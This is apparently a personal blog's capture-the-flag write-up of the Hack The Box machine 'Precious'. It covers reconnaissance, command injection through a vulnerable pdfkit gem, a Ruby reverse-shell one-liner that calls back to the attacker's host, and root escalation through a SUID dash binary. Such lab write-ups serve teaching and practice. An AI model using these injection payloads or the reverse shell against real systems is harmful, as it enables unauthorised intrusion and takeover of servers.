Anyone who considers arithmetical methods of producing random digits is in a state of sin - John von Neumann
HomePostsTags
Red Teaming Experiments
IYADK
Anyone who considers arithmetical methods of producing random digits is in a state of sin - John von Neumann
Red Teaming Experiments

CTF - HTB - Precious


As always, I went back to cracking boxes on HTB to keep up with current trends!

Let's jump in right away with a basic nmap TCP scan!

┌──(iyadk㉿kali)-[~/Desktop/htb/10.10.11.189]
└─$ nmap -sC -sV 10.10.11.189 | tee TCP_scan.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-28 14:00 EST
Nmap scan report for 10.10.11.189
Host is up (0.035s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.62 seconds

In the meanwhile, I like to run a full port scan.

┌──(iyadk㉿kali)-[~/Desktop/htb/10.10.11.189]
└─$ nmap -sC -sV 10.10.11.189 -p- | tee TCP_scan_full.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-28 14:00 EST
Nmap scan report for 10.10.11.189
Host is up (0.048s latency).
Not shown: 65533 closed tcp ports (conn-refused)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 845e13a8e31e20661d235550f63047d2 (RSA)
|   256 a2ef7b9665ce4161c467ee4e96c7c892 (ECDSA)
|_  256 33053dcd7ab798458239e7ae3c91a658 (ED25519)
80/tcp open  http    nginx 1.18.0
|_http-title: Did not follow redirect to http://precious.htb/
|_http-server-header: nginx/1.18.0
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 3113.82 seconds

We find a website, and it redirects to the domain http://precious.htb. I added to /etc/hosts so local DNS resolution is possible.

Here is a quick look at the website:

precious.htb website

The website has a POST method that targets itself, it means that site expect an input from that POST request and will do some server side processing. There is no JavaScript on the website.

Gobuster reveals nothing interesting...

┌──(kali㉿kali)-[~/Desktop/htb/10.10.11.189]
└─$ gobuster dir --url http://precious.htb/ --wordlist /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
===============================================================
Gobuster v3.4
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                    http://precious.htb/
[+] Method:                 GET
[+] Threads:                10
[+] Wordlist:               /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Negative Status codes:  404
[+] User Agent:             gobuster/3.4
[+] Timeout:                10s
===============================================================
2022/12/28 15:24:54 Starting gobuster in directory enumeration mode
===============================================================
Progress: 220390 / 220561 (99.92%)
===============================================================
2022/12/28 15:33:45 Finished
===============================================================

A request to the server IP address with cURL shows it runs on nginx/1.18.0.

A simple test of the parameter "url" with url.test shows that it requires to be a FQDN (fully qualified domain name). With a valid URL we get a error even with a website that is running online, the server does not have outside online connection. We also notice the use of Phusion Passenger 6.0.15 in the HTTP header as well as the X-Runtime header saying it's written in Ruby.

A quick search with searchsploit about Phusion Passenger reveals nothing interesting.

Putting an arbitrary long URL name reveals a response with an actual filename, trying it with the FireFox browser shows an empty PDF document. Interestingly we have a filename generated in the response.

The request:

POST/ HTTP/1.1
Host: precious.htb
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9, image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US, en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 105
Origin: http://precious.htb
Connection: close
Referer: http://precious.htb/
Upgrade-Insecure-Requests: 1
url=http://urlAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA.test

The response:

HTTP/1.1 200 OK
Content-Type: text/html; charset=utf-8
Connection: close
Status: 200 OK
X-XSS-Protection: 1; mode=block
X-Content-Type-Options: nosniff
X-Frame-Options: SAMEORIGIN
Date: Wed, 28 Dec 2022 20:57:13 GMT
X-Powered-By: Phusion Passenger (R) 6.0.15
Server: nginx/1.18.0 + Phusion Passenger (R) 6.0.15
X-Runtime: Ruby Content-Length: 506

<!DOCTYPE html>
<html>
    <head>
        <title>
            Convert Web Page to PDF
        </title>
        <link rel="stylesheet" href="stylesheets/style.css">
    </head>
    <body>
        <div class="wrapper">
            <h1 class="title">
                Convert Web Page to PDF
            </h1>
            <form action="/" method="post">
                <p>
                    Enter URL to fetch
                </p>
                <br>
                <input type="text" name="url" value=""> <input type="submit" value="Submit">
            </form>
            <h2 class="msg">
                Cannot load remote URL!
            </h2>
        </div>
[...snip...]

Trying to fetch the filename returns a 404. However we realize that at the end of the file we have in the metadata of the PDF file: Generated by pdfkit v0.8.6.

[...snip...]

0000000922 00000 n
0000000483 00000 n
0000000638 00000 n
trailer
<<
/Size 11
/Info 1 0 R
/Root 2 0 R
>>
startxref
1039
%%EOF
%%BeginExifTool Update
1 0 obj
<<
/Creator (Generated by pdfkit v0.8.6)
>>
endobj
11 0 obj
<<
/Type /Metadata
/Subtype /XML
/Length 2829
>>
stream
<?xpacket begin='' id='WSMOMp CehiHz reSzNTczkc9d'?>
<x:xmpmeta xmlns:x= 'adobe: ns:meta/'>
<rdf: RDF xmlns:rdf='http://www.w3.org/1999/02/22-rdf-syntax-ns#'>

    <rdf: Description rdf: about=''
        xmlns:dc='http://purl.org/dc/elements/1.1/'>
        <dc:creator>
            <rdf: Seq>
                <rdf:li>Generated by pdfkit v0.8.6</rdf:li>
            </rdf: Seq>
        </dc:creator>
    </rdf: Description>
</rdf: RDF>
</x:xmpmeta>

A quick search reveals that pdfkit, a Ruby Package (Gem) reveals a vulnerability for versions under 0.8.7.2:

"The package pdfkit is vulnerable to Command Injection where the URL is not properly sanitized."

It means we might try to input commands in the URL parameters we are testing.

We find an interesting proof of concept (PoC) at [SNYK security].

Let's try it!

The URL tested:

http://10.10.14.70:8000/?param=#{'%20sleep 5'}
┌──(kali㉿kali)-[~/Desktop/htb/10.10.11.189]
└─$ python3 -m http.server
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.10.11.189 - - [28/Dec/2022 16:47:09] "GET /?param= HTTP/1.1" 200

We do get a hit on the server, exactly 5 seconds after the request is made.

Trying other commands reveals to be useless since they do not render in the generated PDF. Since we know we have command execution, we will try a reverse shell.

The command will be in executing a reverse shell with Ruby since we already know we have a Ruby binary ready.

http://10.10.14.70:8000/?name= ruby -rsocket -e 'spawn("sh",[:in,:out,:err]=>TCPSocket.new("10.10.14.70",8888))'

And we get a foothold on the machine!

┌──(kali㉿kali)-[~/Desktop/htb/10.10.11.189]
└─$ nc -nlvp 8888
listening on [any] 8888 ...
connect to [10.10.14.70] from (UNKNOWN) [10.10.11.189] 60588
id
uid=1001(ruby) gid=1001 (ruby) groups=1001(ruby)

We are now user as the ruby user, and a quick look at the box shows us that there is another user called henry.

Running a quick LinEnum.sh on the box reveals a SUID with the dash binary at /bin/dash:

[...snip...]

[+] Possibly interesting SUID files:
-rwsr-sr-x 1 root root 125560 Dec 10 2020 /usr/bin/dash
-rwsr-sr-x 1 root root 1234376 Mar 27 2022 /usr/bin/bash

[...snip...]

Simply running dash with the -p flag gives us root:

id
uid=1001(ruby) gid=1001(ruby) groups=1001(ruby)
dash -p
id
uid=1001(ruby) gid=1001(ruby) euid=0(root) egid=0(root) groups=0(root), 1001(ruby)

From gtfobins:

If the binary has the SUID bit set, it does not drop the elevated privileges and may be abused to access the file system, escalate or maintain privileged access as a SUID backdoor If it is used to run sh -p, omit the -p argument on systems like Debian (<= Stretch) that allow the default sh shell to run with SUID privileges.

In this case we didn't needed to get to the user account henry first and simply went from ruby to root with a simple SETUID binary.

In retrospect, I am not sure if this is the intended way, but I am already off to another machine!

Cheers!